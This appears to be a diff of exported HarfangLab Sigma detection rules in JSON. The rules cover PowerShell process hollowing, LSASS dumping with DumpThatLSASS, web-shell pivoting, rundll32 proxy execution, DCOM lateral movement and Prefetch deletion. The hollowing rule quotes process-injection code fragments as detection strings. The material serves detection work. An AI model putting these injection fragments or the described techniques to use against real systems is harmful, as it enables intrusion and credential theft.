+  "content": "title: Process Hollowed via PowerShell\nid: af55dc31-5d7c-4332-a872-fccbee512a84\ndescription: |\n    Detects suspicious PowerShell patterns from open-source PowerShell scripts used for Process Hollowing.\n    Process Hollowing is a technique for injecting code into processes to evade defenses by avoiding to write a malicious binary to disk.\n    It consists in creating a new process in a suspended state from a targeted legitimate process in order to unmap some or all of its memory, and replace it with malicious code.\n    It is recommended to investigate this script and the parent processes of the PowerShell interpreter that executed it to determine if the process injection was successful and to search for any malicious activity.\nreferences:\n    - https://gist.github.com/xenoscr/99370ecffb07f629ae74e7808cb91450\n    - https://attack.mitre.org/techniques/T1055/012/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/04/18\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1106\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.t1055.002\n    - attack.t1055.003\n    - attack.t1055.012\n    - attack.t1055.013\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_base_cmdline:\n        PowershellCommand|contains|all:\n            - 'Start-Hollow'\n            - '-Sponsor'\n            - '-Hollow'\n\n    # Auxiliary Function to Check PE target's architecture\n    selection_pe_arch:\n        PowershellCommand|contains|all:\n            - '$BinPath = (Resolve-Path $Path -ErrorAction Stop).Path'\n            - '$BinBytes = [System.IO.File]::ReadAllBytes($BinPath)'\n            - \"[Int16]$PE = '0x{0}' -f ((($BinBytes[($PEOffset)..($PEOffset+1)]) | % {$_.ToString('X2')}) -join '')\"\n            - \"[Int16]$PEArch = '0x{0}' -f ((($BinBytes[($OptOffset+1)..($OptOffset)]) | % {$_.ToString('X2')}) -join '')\"\n\n    selection_get_pbi:\n        PowershellCommand|contains|all:\n            - '[UInt32]$RetLen = 0'\n            - '$CallResult = [Hollow]::NtQueryInformationProcess($hProcess,0,[ref]$PROCESS_BASIC_INFORMATION,$PROCESS_BASIC_INFORMATION_Size, [ref]$RetLen)'\n\n    selection_remote_params:\n        PowershellCommand|contains:\n            - 'WriteProcessMemory($hProcess,$pProcessParameters,$pProcessParameters,$ProcParamsLength,[ref]$BytesWritten)'\n            - 'VirtualAllocEx($hProcess,$pProcessParameters,$ProcParamsLength,0x3000,0x4)'\n\n    selection_strings:\n        PowershellCommand|contains:\n            - 'but really the user should drink more coffee'\n            - 'Kind of whack but unsure how to translate properly'\n            - '[+] Allocated memory in the Hollow'\n            - 'Some proper ghetto PE parsing'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "af55dc31-5d7c-4332-a872-fccbee512a84",
+  "rule_name": "Process Hollowed via PowerShell",
+  "rule_description": "Detects suspicious PowerShell patterns from open-source PowerShell scripts used for Process Hollowing.\nProcess Hollowing is a technique for injecting code into processes to evade defenses by avoiding to write a malicious binary to disk.\nIt consists in creating a new process in a suspended state from a targeted legitimate process in order to unmap some or all of its memory, and replace it with malicious code.\nIt is recommended to investigate this script and the parent processes of the PowerShell interpreter that executed it to determine if the process injection was successful and to search for any malicious activity.\n",
+  "rule_creation_date": "2024-04-18",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1055.002",
+    "attack.t1055.003",
+    "attack.t1055.012",
+    "attack.t1055.013",
+    "attack.t1059.001",
+    "attack.t1106"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "af913938-1bde-4c8e-ab59-8a1108c63563",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075329Z",
+  "creation_date": "2026-03-23T11:45:34.075333Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075338Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/D1rkMtr/DumpThatLSASS",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_file_dumpthatlsass.yml",
+  "content": "title: LSASS Memory Dumped via DumpThatLSASS\nid: af913938-1bde-4c8e-ab59-8a1108c63563\ndescription: |\n    Detects a suspicious attempt to dump LSASS process memory using DumpThatLSASS tool.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    By default this tool dump LSASS into a file named c4dd2a46-ceeb-425d-8dcb-ae21b341ca45.tmp.\n    It is recommended to analyze the process responsible for writing this file to disk, to look for other malicious actions on the host and to start memory forensics to determine stolen credentials.\nreferences:\n    - https://github.com/D1rkMtr/DumpThatLSASS\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2022/10/27\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.HackTool.DumpThatLSASS\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n      Path|endswith: '\\c4dd2a46-ceeb-425d-8dcb-ae21b341ca45.tmp'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "af913938-1bde-4c8e-ab59-8a1108c63563",
+  "rule_name": "LSASS Memory Dumped via DumpThatLSASS",
+  "rule_description": "Detects a suspicious attempt to dump LSASS process memory using DumpThatLSASS tool.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nBy default this tool dump LSASS into a file named c4dd2a46-ceeb-425d-8dcb-ae21b341ca45.tmp.\nIt is recommended to analyze the process responsible for writing this file to disk, to look for other malicious actions on the host and to start memory forensics to determine stolen credentials.\n",
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "afa806a4-ff77-4aad-81ce-cf445b4bd002",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087421Z",
+  "creation_date": "2026-03-23T11:45:34.087424Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087431Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/sensepost/reGeorg/tree/master",
+    "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/",
+    "https://www.cert.ssi.gouv.fr/cti/CERTFR-2023-CTI-009/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_suspicious_network_connection_from_webserver_linux.yml",
+  "content": "title: Suspicious Network Activity from Web Server (Linux)\nid: afa806a4-ff77-4aad-81ce-cf445b4bd002\ndescription: |\n    Detects suspicious network communications by a web server related to a possible web shell.\n    Adversaries may backdoor web servers with web shells to establish persistent access to systems or to move laterally within a network.\n    Tools like reGeorg can be used by attackers to pivot inside the compromised environment.\n    It is recommended to verify the legitimacy of this network connection and check any other command executed by the web server.\nreferences:\n    - https://github.com/sensepost/reGeorg/tree/master\n    - https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/\n    - https://www.cert.ssi.gouv.fr/cti/CERTFR-2023-CTI-009/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2023/10/27\nmodified: 2025/07/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.lateral_movement\n    - attack.t1021\n    - classification.Linux.Source.NetworkActivity\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.Lateralization\n    - classification.Linux.Behavior.RemoteShell\nlogsource:\n    category: network_connection\n    product: linux\ndetection:\n    selection_dst_port:\n        DestinationPort:\n            - '22'\n            - '445'\n            - '3389'\n        Initiated: 'true'\n\n    selection_webserver_common:\n        ProcessImage|endswith:\n            - '/apache2'\n            - '/httpd'\n            - '/nginx'\n            - '/php-fpm'\n            # NOTE: On Ubuntu, php-fpm have its version as a suffix...\n            - '*php-fpm*'\n\n    selection_webserver_tomcat:\n        # NOTE: Tomcat is executed via java and its main class is 'org.apache.catalina.startup.Bootstrap'\n        ProcessParentImage|endswith: 'java'\n        ProcessParentCommandLine|contains: 'org.apache.catalina.startup.Bootstrap'\n\n    exclusion_loopback_connection:\n        SourceIp:\n            - '::1'\n            - '::ffff:7f00:1'\n            - '127.0.0.1'\n            - '::ffff:127.0.0.1'\n        DestinationIp:\n            - '::1'\n            - '127.0.0.1'\n            - '::ffff:7f00:1'\n            - '::ffff:127.0.0.1'\n\n    condition: selection_dst_port and 1 of selection_webserver_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "afa806a4-ff77-4aad-81ce-cf445b4bd002",
+  "rule_name": "Suspicious Network Activity from Web Server (Linux)",
+  "rule_description": "Detects suspicious network communications by a web server related to a possible web shell.\nAdversaries may backdoor web servers with web shells to establish persistent access to systems or to move laterally within a network.\nTools like reGeorg can be used by attackers to pivot inside the compromised environment.\nIt is recommended to verify the legitimacy of this network connection and check any other command executed by the web server.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2025-07-29",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "afbdfb71-0e3c-43c6-94dc-f175f223b21d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079744Z",
+  "creation_date": "2026-03-23T11:45:34.079746Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079751Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_rundll32_zipfldr_proxy_execution.yml",
+  "content": "title: Proxy Execution via zipfldr.dll\nid: afbdfb71-0e3c-43c6-94dc-f175f223b21d\ndescription: |\n    Detects a suspicious invocation of zipfldr.dll by rundll32.\n    Adversaries may abuse rundll32.exe to proxy execution of malicious code.\n    Using rundll32.exe to execute malicious code indirectly (by calling zipfldr.dll's RouteTheCall function) may avoid detection by security tools. This is because some security solutions whitelist rundll32.exe as a legitimate Windows process or generate too many false positives from its normal baseline activity to effectively monitor it.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze its child processes.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2025/10/17\nmodified: 2025/10/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Zipfldr\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        ProcessParentOriginalFileName: 'rundll32.exe'\n        ParentCommandLine|contains:\n            - ' zipfldr,'\n            - ' zipfldr.dll,'\n\n    selection_function:\n        ParentCommandLine|contains: 'RouteTheCall'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "afbdfb71-0e3c-43c6-94dc-f175f223b21d",
+  "rule_name": "Proxy Execution via zipfldr.dll",
+  "rule_description": "Detects a suspicious invocation of zipfldr.dll by rundll32.\nAdversaries may abuse rundll32.exe to proxy execution of malicious code.\nUsing rundll32.exe to execute malicious code indirectly (by calling zipfldr.dll's RouteTheCall function) may avoid detection by security tools. This is because some security solutions whitelist rundll32.exe as a legitimate Windows process or generate too many false positives from its normal baseline activity to effectively monitor it.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of rundll32 and to analyze its child processes.\n",
+  "rule_creation_date": "2025-10-17",
+  "rule_modified_date": "2025-10-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "afc0aad4-2a07-40e8-bf67-4e0056e60353",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090461Z",
+  "creation_date": "2026-03-23T11:45:34.090463Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090467Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor",
+    "https://github.com/deepinstinct/DCOMUploadExec",
+    "https://attack.mitre.org/techniques/T1021/003/"
+  ],
+  "name": "t1021_003_dcom_imsiserver_upload_execute.yml",
+  "content": "title: DCOM Upload and Execute via IMsiServer\nid: afc0aad4-2a07-40e8-bf67-4e0056e60353\ndescription: |\n    Detects a suspicious inbound connection to an MSI Custom Action Server.\n    This is unusual behavior which could indicate lateral movement using the IMsiServer DCOM interface.\n    It is recommended to investigate the \"MsiExec.exe\" process for suspicious activities and pivot on the source IP if possible.\nreferences:\n    - https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor\n    - https://github.com/deepinstinct/DCOMUploadExec\n    - https://attack.mitre.org/techniques/T1021/003/\ndate: 2024/12/12\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.003\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.HackTool.DCOMUploadExec\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        ProcessCommandLine|startswith:\n            - '?:\\Windows\\System32\\MsiExec.exe -Embedding'             # Custom Action Server\n            - '?:\\Windows\\syswow64\\MsiExec.exe -Embedding'\n        ProcessParentCommandLine: '?:\\Windows\\system32\\msiexec.exe /V' # MsiServer\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n        Initiated: 'false'\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "afc0aad4-2a07-40e8-bf67-4e0056e60353",
+  "rule_name": "DCOM Upload and Execute via IMsiServer",
+  "rule_description": "Detects a suspicious inbound connection to an MSI Custom Action Server.\nThis is unusual behavior which could indicate lateral movement using the IMsiServer DCOM interface.\nIt is recommended to investigate the \"MsiExec.exe\" process for suspicious activities and pivot on the source IP if possible.\n",
+  "rule_creation_date": "2024-12-12",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "afc3222f-d83e-4ccf-9d72-3f2d046df5c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.450440Z",
+  "creation_date": "2026-03-23T11:45:34.620206Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620210Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trustedsec.com/blog/prefetch-the-little-snitch-that-tells-on-you/",
+    "https://attack.mitre.org/techniques/T1070/004/"
+  ],
+  "name": "t1070_004_prefetch_deleted.yml",
+  "content": "title: Prefetch File Deleted\nid: afc3222f-d83e-4ccf-9d72-3f2d046df5c7\ndescription: |\n    Detects the deletion of a Prefetch file.\n    Prefetch files are useful forensics artifacts allowing the investigation of applications that have recently run on a Windows system.\n    Adversaries may delete these files to cover their tracks and disrupt incident response or forensic analysis.\n    It is recommended to investigate the deletion activity, check for missing Prefetch files in the \"%ProgramFiles%\\WindowsResources\\Prefetch\" directory and review the user or process responsible.\n    It is common for administrators to execute cleanup scripts from RMM solutions that delete Prefetch files.\n    If this is recurrent in your environment, it is highly recommended to whitelist this alert.\nreferences:\n    - https://www.trustedsec.com/blog/prefetch-the-little-snitch-that-tells-on-you/\n    - https://attack.mitre.org/techniques/T1070/004/\ndate: 2023/09/15\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: file_remove\ndetection:\n    selection:\n        Path: '?:\\Windows\\Prefetch\\\\*.pf'\n        ProcessParentImage|startswith: '?:\\'\n\n    exclusion_svchost:\n        ProcessCommandLine:\n            - '?:\\windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted'\n            - '?:\\windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p'\n            - '?:\\windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted -s SysMain'\n            - '?:\\windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s SysMain'\n            - '?:\\windows\\system32\\svchost.exe -k sysmain'\n            - '?:\\windows\\system32\\svchost.exe -k sysmain -p'\n            - '?:\\windows\\system32\\svchost.exe -k sysmain -p -s SysMain'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_explorer:\n        - ProcessImage: '?:\\Windows\\explorer.exe'\n          ProcessParentImage: '?:\\Windows\\System32\\userinit.exe'\n        - ProcessCommandLine: '?:\\WINDOWS\\explorer.exe /factory,{????????-????-????-????-????????????} -Embedding'\n          ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_program_files:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Windows\\Downloaded Program Files\\' # ActiveX\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_sysprep:\n        ProcessOriginalFileName: 'sysprep.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_wisecleaner:\n        ProcessOriginalFileName: 'WiseDiskCleaner.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Lespeed Technology Co., Ltd'\n\n    exclusion_sysinfocap:\n        ProcessOriginalFileName: 'SysInfoCap.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'HP Inc.'\n\n    exclusion_revounin:\n        ProcessOriginalFileName: 'RevoUnin.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'VS Revo Group Ltd.'\n            - 'VS REVO GROUP OOD'\n\n    exclusion_ccleaner:\n        ProcessOriginalFileName: 'ccleaner.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'PIRIFORM SOFTWARE LIMITED'\n            - 'Gen Digital Inc.'\n\n    exclusion_ccleaner_nosign:\n        ProcessOriginalFileName: 'ccleaner.exe'\n        ProcessCompany: 'Piriform Software Ltd'\n        ProcessProduct: 'CCleaner'\n\n    exclusion_manager_service:\n        ProcessOriginalFileName: 'MSPCManagerService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_avira:\n        ProcessOriginalFileName: 'Service.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Avira Operations GmbH'\n\n    exclusion_bleachbit:\n        ProcessOriginalFileName: 'bleachbit.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Andrew Ziem'\n            - 'Open Source Developer, Andrew Ziem'\n\n    exclusion_dism1:\n        ProcessOriginalFileName: 'Dism++.exe'\n        ProcessCompany: 'Chuyu Team'\n        ProcessProduct: 'Dism++'\n    exclusion_dism2:\n        ProcessImage|endswith: '\\Dism++x64.exe'\n        ProcessOriginalFileName: ''\n        ProcessCompany: ''\n\n    exclusion_emjysoft:\n        ProcessDescription: 'Emjysoft Cleaner'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Emjysoft'\n\n    exclusion_novell:\n        - ProcessAncestors|contains: '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\handlers\\runscriptenf.exe'\n        - ProcessCurrentDirectory: '?:\\Program Files (x86)\\Novell\\ZENworks\\'\n          ProcessCommandLine|contains: '\\zen_executeRunscript_'\n\n    exclusion_cleanmgr:\n        ProcessOriginalFileName: 'Cleanmgr+.exe'\n        ProcessCompany: 'Builtbybel'\n        ProcessProduct: 'Cleanmgr+'\n\n    exclusion_syscleanpro:\n        ProcessOriginalFileName: 'SysCleanPro.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Beijing Qihu Technology Co., Ltd.'\n\n    exclusion_pdgdeployrunner:\n        ProcessParentImage: '?:\\Windows\\AdminArsenal\\PDQDeployRunner\\service-1\\PDQDeployRunner-1.exe'\n\n    exclusion_screenshotx:\n        ProcessParentImage: '?:\\Program Files (x86)\\ScreenshotX\\Uninstall.exe'\n\n    exclusion_bcuninstaller:\n        ProcessOriginalFileName: 'BCUninstaller.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Open Source Developer, Marcin Szeniak'\n\n    exclusion_mspcmanagercore:\n        ProcessOriginalFileName: 'MSPCManagerCore.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    # https://strontic.github.io/xcyclopedia/library/clsid_3ad05575-8857-4850-9277-11b85bdb8e09.html\n    exclusion_dllhost:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_iobit:\n        ProcessOriginalFileName: 'IObitUninstaller.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'IObit CO., LTD'\n            - 'IObit Co., Ltd.'\n\n    exclusion_wisecare:\n        ProcessOriginalFileName: 'Wise Care 365'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Lespeed Technology Co., Ltd'\n\n    exclusion_revounpro:\n        ProcessOriginalFileName: 'RevoUnPro.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'VS REVO GROUP OOD'\n\n    exclusion_centrastage:\n        ProcessParentImage: '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n\n    exclusion_ccm:\n        ProcessAncestors|contains: '|?:\\Windows\\CCM\\CcmExec.exe|'\n\n    exclusion_totalcmd64:\n        ProcessOriginalFileName: 'totalcmd64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ghisler Software GmbH'\n\n    exclusion_hibituninstaller:\n        ProcessOriginalFileName: 'HiBitUninstaller'\n        ProcessDescription: 'HiBit Uninstaller'\n        ProcessCompany: 'HiBitSoftware'\n\n    exclusion_wmi:\n        ProcessImage: '?:\\Windows\\System32\\wsmprovhost.exe'\n        ProcessParentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k DcomLaunch -p'\n\n    exclusion_wapt:\n        ProcessGrandparentImage:\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files (x86)\\wapt\\python.exe'\n\n    exclusion_gdata:\n        ProcessOriginalFileName: 'AVClean.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'G DATA CyberDefense AG'\n\n    exclusion_superopsrmm:\n        ProcessParentImage: '?:\\Program Files\\superopsrmm\\bin\\superops.exe'\n\n    exclusion_sccm:\n        ProcessAncestors|contains:\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n            - '?:\\MININT\\Tools\\X64\\TsmBootstrap.exe'\n\n    condition: selection and not 1 of exclusion_*\nfalsepositives:\n    - \"Custom cleanup scripts from RMM solutions that delete Prefetch files to save space.\"\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "afc3222f-d83e-4ccf-9d72-3f2d046df5c7",
+  "rule_name": "Prefetch File Deleted",
